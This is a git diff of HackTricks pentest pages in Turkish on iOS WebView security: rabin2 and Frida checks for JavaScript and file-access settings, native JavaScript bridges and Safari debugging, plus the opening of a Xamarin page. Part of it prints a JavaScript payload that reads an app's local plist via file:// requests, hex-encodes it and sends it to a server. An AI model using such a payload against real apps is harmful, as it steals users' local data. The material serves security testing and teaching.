- **UIWebView**, iOS 12'den itibaren artık önerilmeyen bir seçenektir çünkü **JavaScript**'i devre dışı bırakma desteği olmadığından, betik enjeksiyonuna ve **Cross-Site Scripting (XSS)** saldırılarına karşı savunmasızdır.
|
||||
- **UIWebView**, **JavaScript**'i devre dışı bırakma desteği olmadığı için iOS 12'den itibaren artık önerilmemektedir; bu da onu script injection ve **Cross-Site Scripting (XSS)** saldırılarına karşı savunmasız hale getirir.
|
||||
|
||||
- **WKWebView**, uygulamalara web içeriği entegre etmek için tercih edilen seçenektir ve içerik ve güvenlik özellikleri üzerinde gelişmiş kontrol sağlar. **JavaScript** varsayılan olarak etkinleştirilmiştir, ancak gerektiğinde devre dışı bırakılabilir. Ayrıca, JavaScript'in otomatik olarak pencereleri açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ek olarak, **WKWebView**'ın mimarisi, ana uygulama sürecini etkileyen bellek bozulması riskini en aza indirir.
|
||||
- **WKWebView**, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde geliştirilmiş kontrol ve güvenlik özellikleri sunar. **JavaScript** varsayılan olarak etkindir, ancak gerekirse devre dışı bırakılabilir. Ayrıca, **JavaScript**'in otomatik olarak pencere açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ayrıca, **WKWebView**'in mimarisi, bellek bozulması riskini ana uygulama sürecini etkilemeyecek şekilde en aza indirir.
|
||||
|
||||
- **SFSafariViewController**, uygulamalar içinde standart bir web tarama deneyimi sunar ve okunabilir bir adres alanı, paylaşım ve gezinme düğmeleri ve içeriği Safari'de açmak için doğrudan bir bağlantı içeren belirli bir düzeniyle tanınır. **WKWebView**'in aksine, **SFSafariViewController**'da **JavaScript** devre dışı bırakılamaz ve ayrıca çerezleri ve verileri Safari ile paylaşır, böylece kullanıcının gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir.
|
||||
- **SFSafariViewController**, uygulamalar içinde standart bir web tarayıcı deneyimi sunar; okunabilir bir adres alanı, paylaşım ve navigasyon düğmeleri ile Safari'de içerik açmak için doğrudan bir bağlantı içeren belirli bir düzen ile tanınır. **WKWebView**'in aksine, **SFSafariViewController**'da **JavaScript** devre dışı bırakılamaz; ayrıca çerezleri ve verileri Safari ile paylaşır, bu da kullanıcı gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir.
|
||||
```javascript
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
|
@ -34,43 +35,43 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|||
config.preferences = preferences;
|
||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||
```
|
||||
## WebViews Yapılandırma Keşfi Özeti
|
||||
## WebViews Konfigürasyon Keşfi Özeti
|
||||
|
||||
### **Statik Analiz Genel Bakış**
|
||||
### **Statik Analiz Genel Görünümü**
|
||||
|
||||
**WebViews** yapılandırmalarını inceleme sürecinde, iki temel tür üzerinde odaklanılır: **UIWebView** ve **WKWebView**. Bu WebViews'leri bir ikili içinde tanımlamak için, belirli sınıf referansları ve başlatma yöntemlerini aramak için komutlar kullanılır.
|
||||
**WebViews** konfigürasyonlarını incelerken, iki ana tür üzerinde durulmaktadır: **UIWebView** ve **WKWebView**. Bu WebView'ları bir ikili dosya içinde tanımlamak için, belirli sınıf referansları ve başlatma yöntemlerini arayan komutlar kullanılmaktadır.
|
||||
|
||||
- **UIWebView Tanımlama**
|
||||
- **UIWebView Tanımlaması**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
```
|
||||
Bu komut, ikili dosyada onunla ilgili metin dizelerini arayarak **UIWebView** örneklerini bulmaya yardımcı olur.
|
||||
Bu komut, ikili dosyada buna ilişkin metin dizelerini arayarak **UIWebView** örneklerini bulmaya yardımcı olur.
|
||||
|
||||
- **WKWebView Tanımlama**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
```
|
||||
Benzer şekilde, **WKWebView** için bu komut, kullanımına işaret eden metin dizelerini binary dosyasında arar.
|
||||
Benzer şekilde, **WKWebView** için bu komut, kullanımını gösteren metin dizelerini bulmak için ikili dosyayı arar.
|
||||
|
||||
Ayrıca, bir **WKWebView**'in nasıl başlatıldığını bulmak için aşağıdaki komut çalıştırılır ve başlatma ile ilgili yöntem imzasını hedef alır:
|
||||
Ayrıca, bir **WKWebView**'in nasıl başlatıldığını bulmak için, başlatma ile ilgili yöntem imzasını hedef alan aşağıdaki komut çalıştırılır:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **JavaScript Yapılandırma Doğrulaması**
|
||||
|
||||
**WKWebView** için, JavaScript devre dışı bırakmanın gerekmeyene kadar en iyi uygulama olduğu vurgulanmaktadır. Derlenmiş ikili dosya, `javaScriptEnabled` özelliğinin `false` olarak ayarlandığı doğrulanır ve JavaScript'in devre dışı olduğundan emin olunur:
|
||||
**WKWebView** için, JavaScript'in devre dışı bırakılmasının gerekli olmadıkça en iyi uygulama olduğu vurgulanmaktadır. Derlenmiş ikili dosya, `javaScriptEnabled` özelliğinin `false` olarak ayarlandığını doğrulamak için aranır, böylece JavaScript'in devre dışı olduğu garanti edilir:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **Sadece Güvenli İçerik Doğrulaması**
|
||||
|
||||
**WKWebView**, **UIWebView** ile karşılaştırıldığında karışık içerik sorunlarını belirleme yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar aracılığıyla yüklenmesini sağlamak için `hasOnlySecureContent` özelliği kullanılarak kontrol edilir. Derlenmiş ikili dosyada arama aşağıdaki gibi gerçekleştirilir:
|
||||
**WKWebView**, **UIWebView** ile karşılaştırıldığında karışık içerik sorunlarını tanımlama yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için `hasOnlySecureContent` özelliği kullanılarak kontrol edilir. Derlenmiş ikide arama şu şekilde gerçekleştirilir:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **Dinamik Analiz İpuçları**
|
||||
### **Dinamik Analiz İçgörüleri**
|
||||
|
||||
Dinamik analiz, WebView örneklerini ve özelliklerini incelemeyi içerir. Bu amaçla `webviews_inspector.js` adlı bir betik kullanılır ve `UIWebView`, `WKWebView` ve `SFSafariViewController` örneklerini hedef alır. Bulunan örneklerle ilgili URL'ler ve JavaScript ve güvenli içerikle ilgili ayarlar gibi bilgileri kaydeder.
|
||||
Dinamik analiz, WebView örneklerini ve özelliklerini incelemeyi içerir. Bu amaçla `webviews_inspector.js` adlı bir script kullanılır ve `UIWebView`, `WKWebView` ve `SFSafariViewController` örneklerini hedef alır. Bulunan örnekler hakkında, URL'ler ve JavaScript ile güvenli içerikle ilgili ayarlar dahil olmak üzere bilgi kaydeder.
|
||||
|
||||
Yığın incelemesi, WebView örneklerini tanımlamak ve `javaScriptEnabled` ve `hasonlysecurecontent` özelliklerini kontrol etmek için `ObjC.choose()` kullanılarak gerçekleştirilebilir.
|
||||
|
||||
|
@ -121,30 +122,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Komut dosyası şu şekilde çalıştırılır:
|
||||
Script şu şekilde çalıştırılır:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
```
|
||||
**Ana Sonuçlar**:
|
||||
- WebViews örnekleri başarıyla bulunur ve incelenir.
|
||||
- JavaScript etkinleştirme ve güvenli içerik ayarları doğrulanır.
|
||||
- WebView örnekleri başarıyla bulunmuş ve incelenmiştir.
|
||||
- JavaScript etkinleştirme ve güvenli içerik ayarları doğrulanmıştır.
|
||||
|
||||
Bu özet, WebView yapılandırmalarının statik ve dinamik yaklaşımlarla analiz edilmesinde yer alan kritik adımları ve komutları özetlemektedir. Özellikle JavaScript etkinleştirme ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanılmaktadır.
|
||||
Bu özet, JavaScript etkinleştirme ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanarak, WebView yapılandırmalarını statik ve dinamik yaklaşımlarla analiz etme sürecindeki kritik adımları ve komutları kapsar.
|
||||
|
||||
## WebView Protokol İşleme
|
||||
## WebView Protokol Yönetimi
|
||||
|
||||
WebView içeriğini işlemek, özellikle `http(s)://`, `file://` ve `tel://` gibi çeşitli protokollerle uğraşırken önemli bir yönüdür. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosyanın adını veya yolunu etkilemesini ve içeriği kendileri düzenlemesini engellemek için önlemler alınması gerektiği vurgulanmaktadır.
|
||||
WebView'lerde içerik yönetimi, özellikle `http(s)://`, `file://` ve `tel://` gibi çeşitli protokollerle çalışırken kritik bir unsurdur. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesini ve içeriği düzenlemesini önlemek için önlemler alınması gerektiği vurgulanmaktadır.
|
||||
|
||||
**WebViews**, içerik yükleme için farklı yöntemler sunar. Artık kullanımdan kaldırılan **UIWebView** için `loadHTMLString:baseURL:` ve `loadData:MIMEType:textEncodingName:baseURL:` gibi yöntemler kullanılır. Öte yandan, **WKWebView** `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` ve web içeriği için `loadRequest:` yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle `pathForResource:ofType:`, `URLForResource:withExtension:` ve `init(contentsOf:encoding:)` gibi yöntemler kullanılır. Belirli bir URL veya dizini WebView'e yüklemek için `loadFileURL:allowingReadAccessToURL:` yöntemi özellikle dikkat çekicidir ve bir dizin belirtilirse hassas verilerin ortaya çıkmasına neden olabilir.
|
||||
**WebView'ler**, içerik yüklemek için farklı yöntemler sunar. Artık kullanılmayan **UIWebView** için `loadHTMLString:baseURL:` ve `loadData:MIMEType:textEncodingName:baseURL:` gibi yöntemler kullanılır. Diğer yandan, **WKWebView**, web içeriği için `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` ve `loadRequest:` yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle `pathForResource:ofType:`, `URLForResource:withExtension:` ve `init(contentsOf:encoding:)` gibi yöntemler kullanılır. `loadFileURL:allowingReadAccessToURL:` yöntemi, belirli bir URL veya dizini WebView'e yükleme yeteneği ile özellikle dikkat çekicidir; eğer bir dizin belirtilirse hassas verileri açığa çıkarabilir.
|
||||
|
||||
Bu yöntemleri kaynak kodunda veya derlenmiş ikili dosyada bulmak için aşağıdaki gibi komutlar kullanılabilir:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
**Dosya erişimi** ile ilgili olarak, UIWebView evrensel olarak izin verirken, WKWebView, dosya URL'lerinden erişimi yönetmek için `allowFileAccessFromFileURLs` ve `allowUniversalAccessFromFileURLs` ayarlarını tanıtır. Her ikisi de varsayılan olarak false olarak ayarlanmıştır.
|
||||
**Dosya erişimi** ile ilgili olarak, UIWebView evrensel olarak izin verirken, WKWebView dosya URL'lerinden erişimi yönetmek için `allowFileAccessFromFileURLs` ve `allowUniversalAccessFromFileURLs` ayarlarını tanıtır; her ikisi de varsayılan olarak false'dur.
|
||||
|
||||
Güvenlik ayarları için **WKWebView** yapılandırmalarını incelemek için bir Frida betiği örneği sağlanmıştır:
|
||||
Güvenlik ayarları için **WKWebView** yapılandırmalarını incelemek üzere bir Frida script örneği sağlanmıştır:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
|
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
Son olarak, yerel dosyaları dışarıya sızdırmayı hedefleyen bir JavaScript yükü örneği, yanlış yapılandırılmış WebViews ile ilişkili potansiyel güvenlik riskini göstermektedir. Bu yük, dosya içeriğini onaltılık formata kodlar ve ardından bunları bir sunucuya ileterek WebView uygulamalarında sıkı güvenlik önlemlerinin önemini vurgular.
|
||||
Son olarak, yerel dosyaları dışa aktarmayı amaçlayan bir JavaScript yükü, yanlış yapılandırılmış WebView'larla ilişkili potansiyel güvenlik riskini göstermektedir. Bu yük, dosya içeriklerini sunucuya iletmeden önce hex formatına kodlar, WebView uygulamalarında sıkı güvenlik önlemlerinin önemini vurgular.
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
|
@ -185,24 +186,24 @@ xhr2.send(null);
|
|||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## WebViews Aracılığıyla Açığa Çıkarılan Yerel Yöntemler
|
||||
## WebView'ler Üzerinden Açık Native Yöntemler
|
||||
|
||||
## iOS'ta WebView Yerel Arayüzlerini Anlama
|
||||
## iOS'ta WebView Native Arayüzlerini Anlamak
|
||||
|
||||
iOS 7'den itibaren, Apple, WebView'deki JavaScript ile yerel Swift veya Objective-C nesneleri arasındaki iletişim için API'lar sağlamıştır. Bu entegrasyon, temel olarak iki yöntem aracılığıyla gerçekleştirilir:
|
||||
iOS 7'den itibaren, Apple **WebView'deki JavaScript ile native** Swift veya Objective-C nesneleri arasında iletişim için API'ler sağladı. Bu entegrasyon esasen iki yöntemle sağlanmaktadır:
|
||||
|
||||
- **JSContext**: Bir Swift veya Objective-C bloğu bir `JSContext` içinde bir tanımlayıcıya bağlandığında otomatik olarak bir JavaScript işlevi oluşturulur. Bu, JavaScript ve yerel kod arasında sorunsuz bir entegrasyon ve iletişim sağlar.
|
||||
- **JSExport Protokolü**: `JSExport` protokolünü miras alarak, yerel özellikler, örnek yöntemler ve sınıf yöntemleri JavaScript'e açılabilir. Bu, JavaScript ortamında yapılan değişikliklerin yerel ortamda yansıtıldığı ve tam tersinin de geçerli olduğu anlamına gelir. Bununla birlikte, hassas verilerin bu yöntem aracılığıyla yanlışlıkla açığa çıkarılmaması önemlidir.
|
||||
- **JSContext**: Bir Swift veya Objective-C bloğu, bir `JSContext` içindeki bir tanımlayıcıya bağlandığında otomatik olarak bir JavaScript fonksiyonu oluşturulur. Bu, JavaScript ve native kod arasında sorunsuz bir entegrasyon ve iletişim sağlar.
|
||||
- **JSExport Protokolü**: `JSExport` protokolünü miras alarak, native özellikler, örnek yöntemler ve sınıf yöntemleri JavaScript'e açılabilir. Bu, JavaScript ortamında yapılan herhangi bir değişikliğin native ortamda yansıtıldığı ve tersinin de geçerli olduğu anlamına gelir. Ancak, bu yöntemle hassas verilerin istemeden açığa çıkmadığından emin olmak önemlidir.
|
||||
|
||||
### Objective-C'de `JSContext`'e Erişme
|
||||
### Objective-C'de `JSContext`'e Erişim
|
||||
|
||||
Objective-C'de, bir `UIWebView` için `JSContext` aşağıdaki kod satırıyla alınabilir:
|
||||
Objective-C'de, bir `UIWebView` için `JSContext` aşağıdaki kod satırı ile alınabilir:
|
||||
```objc
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
### `WKWebView` ile İletişim
|
||||
### Communication with `WKWebView`
|
||||
|
||||
`WKWebView` için, doğrudan `JSContext` erişimi mevcut değildir. Bunun yerine, JavaScript'in yerel iletişim için `postMessage` işlevi aracılığıyla mesaj iletimi kullanılır. Bu mesajlar için işleyiciler aşağıdaki gibi ayarlanır, böylece JavaScript'in yerel uygulama ile güvenli bir şekilde etkileşimde bulunması sağlanır:
|
||||
`WKWebView` için, `JSContext`'e doğrudan erişim mevcut değildir. Bunun yerine, JavaScript ile yerel iletişim sağlamak için `postMessage` fonksiyonu aracılığıyla mesaj iletimi kullanılır. Bu mesajlar için işleyiciler aşağıdaki gibi ayarlanır, böylece JavaScript yerel uygulama ile güvenli bir şekilde etkileşimde bulunabilir:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
|
@ -217,7 +218,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
|||
```
|
||||
### Etkileşim ve Test
|
||||
|
||||
JavaScript, bir betik mesaj işleyici tanımlayarak yerel katmanla etkileşimde bulunabilir. Bu, bir web sayfasından yerel işlevleri çağırma gibi işlemlere olanak sağlar:
|
||||
JavaScript, bir script mesaj işleyici tanımlayarak yerel katmanla etkileşimde bulunabilir. Bu, bir web sayfasından yerel işlevleri çağırmak gibi işlemlere olanak tanır:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
|
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
|||
// Alternative method for calling exposed JavaScript functions
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Bir yerel işlev çağrısının sonucunu yakalamak ve değiştirmek için, HTML içindeki geri çağırma işlevini geçersiz kılmak mümkündür:
|
||||
Yerel bir fonksiyon çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içindeki geri çağırma fonksiyonu geçersiz kılınabilir:
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
|
@ -239,7 +240,7 @@ alert(result);
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Native taraf, JavaScript çağrısını `JavaScriptBridgeMessageHandler` sınıfında gösterildiği gibi işler. Burada, sayıların çarpılması gibi işlemlerin sonucu işlenir ve JavaScript'e gösterilmesi veya daha fazla manipülasyon için geri gönderilir:
|
||||
Yerel taraf, `JavaScriptBridgeMessageHandler` sınıfında gösterildiği gibi JavaScript çağrısını işler; burada sayıların çarpılması gibi işlemlerin sonuçları işlenir ve görüntüleme veya daha fazla manipülasyon için JavaScript'e geri gönderilir:
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
// Handling "multiplyNumbers" operation
|
||||
|
@ -252,22 +253,23 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
|
|||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
}
|
||||
```
|
||||
## iOS WebViews Hata Ayıklama
|
||||
## iOS WebView'lerini Hata Ayıklama
|
||||
|
||||
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews) adresindeki bir öğreticiye dayalıdır.)
|
||||
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
iOS webview'ler içindeki web içeriğini etkili bir şekilde hata ayıklamak için, `console.log()` ile gönderilen mesajlar Xcode günlüklerinde görüntülenmediği için Safari'nin geliştirici araçlarının belirli bir yapılandırması gerekmektedir. İşte ana adımlar ve gereksinimler vurgulanarak basitleştirilmiş bir kılavuz:
|
||||
iOS webview'leri içindeki web içeriğini etkili bir şekilde hata ayıklamak için, `console.log()`'a gönderilen mesajların Xcode günlüklerinde görüntülenmemesi nedeniyle Safari'nin geliştirici araçlarını içeren özel bir kurulum gereklidir. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir kılavuz:
|
||||
|
||||
- **iOS Cihazında Hazırlık**: Safari Web Denetçisi, iOS cihazınızda etkinleştirilmelidir. Bunun için **Ayarlar > Safari > Gelişmiş** yolunu izleyin ve _Web Denetçisi_'ni etkinleştirin.
|
||||
- **iOS Cihazında Hazırlık**: Safari Web Inspector, iOS cihazınızda etkinleştirilmelidir. Bu, **Ayarlar > Safari > Gelişmiş** bölümüne giderek ve _Web Inspector_ seçeneğini etkinleştirerek yapılır.
|
||||
|
||||
- **macOS Cihazında Hazırlık**: macOS geliştirme makinenizde Safari içinde geliştirici araçları etkinleştirmeniz gerekmektedir. Safari'yi başlatın, **Safari > Tercihler > Gelişmiş**e erişin ve _Geliştir menüsünü göster_ seçeneğini seçin.
|
||||
- **macOS Cihazında Hazırlık**: macOS geliştirme makinenizde, Safari içinde geliştirici araçlarını etkinleştirmeniz gerekir. Safari'yi başlatın, **Safari > Tercihler > Gelişmiş** bölümüne erişin ve _Geliştir menüsünü Göster_ seçeneğini seçin.
|
||||
|
||||
- **Bağlantı ve Hata Ayıklama**: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'i seçin. Safari'nin menü çubuğunda _Geliştir_ bölümüne gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin listesini görmek için üzerine gelin ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Denetçisi penceresi açılacaktır.
|
||||
- **Bağlantı ve Hata Ayıklama**: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'i seçin. Safari'nin menü çubuğunda _Geliştir_ bölümüne gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin bir listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır.
|
||||
|
||||
Ancak, sınırlamaları dikkate alın:
|
||||
Ancak, sınırlamaların farkında olun:
|
||||
|
||||
- Bu yöntemle hata ayıklama, Safari'ye dayandığı için bir macOS cihazı gerektirir.
|
||||
- Sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'ler hata ayıklama için uygundur. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'ler bu şekilde hata ayıklanamaz.
|
||||
|
||||
- Bu yöntemle hata ayıklama yapmak için bir macOS cihazına ihtiyaç vardır çünkü Safari'ye dayanır.
|
||||
- Bu yöntemle sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'ler hata ayıklanabilir. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'ler bu şekilde hata ayıklanamaz.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -275,16 +277,17 @@ Ancak, sınırlamaları dikkate alın:
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# Xamarin Uygulamaları
|
||||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Bu, [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) blog yazısının özeti.
|
||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
Xamarin, .NET ve C# çerçevelerini kullanarak iOS, Android ve Windows için uygulamalar oluşturmak için geliştiriciler için tasarlanmış **açık kaynaklı bir platformdur**. Bu platform, modern uygulamaları verimli bir şekilde oluşturmak için birçok araç ve uzantıya erişim sağlar.
|
||||
Xamarin, geliştiricilerin **iOS, Android ve Windows için uygulamalar oluşturmasını** sağlamak amacıyla tasarlanmış **açık kaynak bir platformdur** ve .NET ile C# frameworklerini kullanır. Bu platform, modern uygulamaları verimli bir şekilde oluşturmak için birçok araç ve uzantıya erişim sunar.
|
||||
|
||||
### Xamarin'in Mimarisi
|
||||
### Xamarin'ın Mimarisi
|
||||
|
||||
- **Android** için, Xamarin, .NET bağlantıları aracılığıyla Android ve Java ad alanlarını .NET bağlamına entegre eder ve Android Runtime (ART) ile birlikte Mono yürütme ortamında çalışır. Yönetilen Çağrılabilir Sargılar (MCW) ve Android Çağrılabilir Sargılar (ACW), Mono ve ART arasındaki iletişimi kolaylaştırır ve her ikisi de Linux çekirdeği üzerine inşa edilmiştir.
|
||||
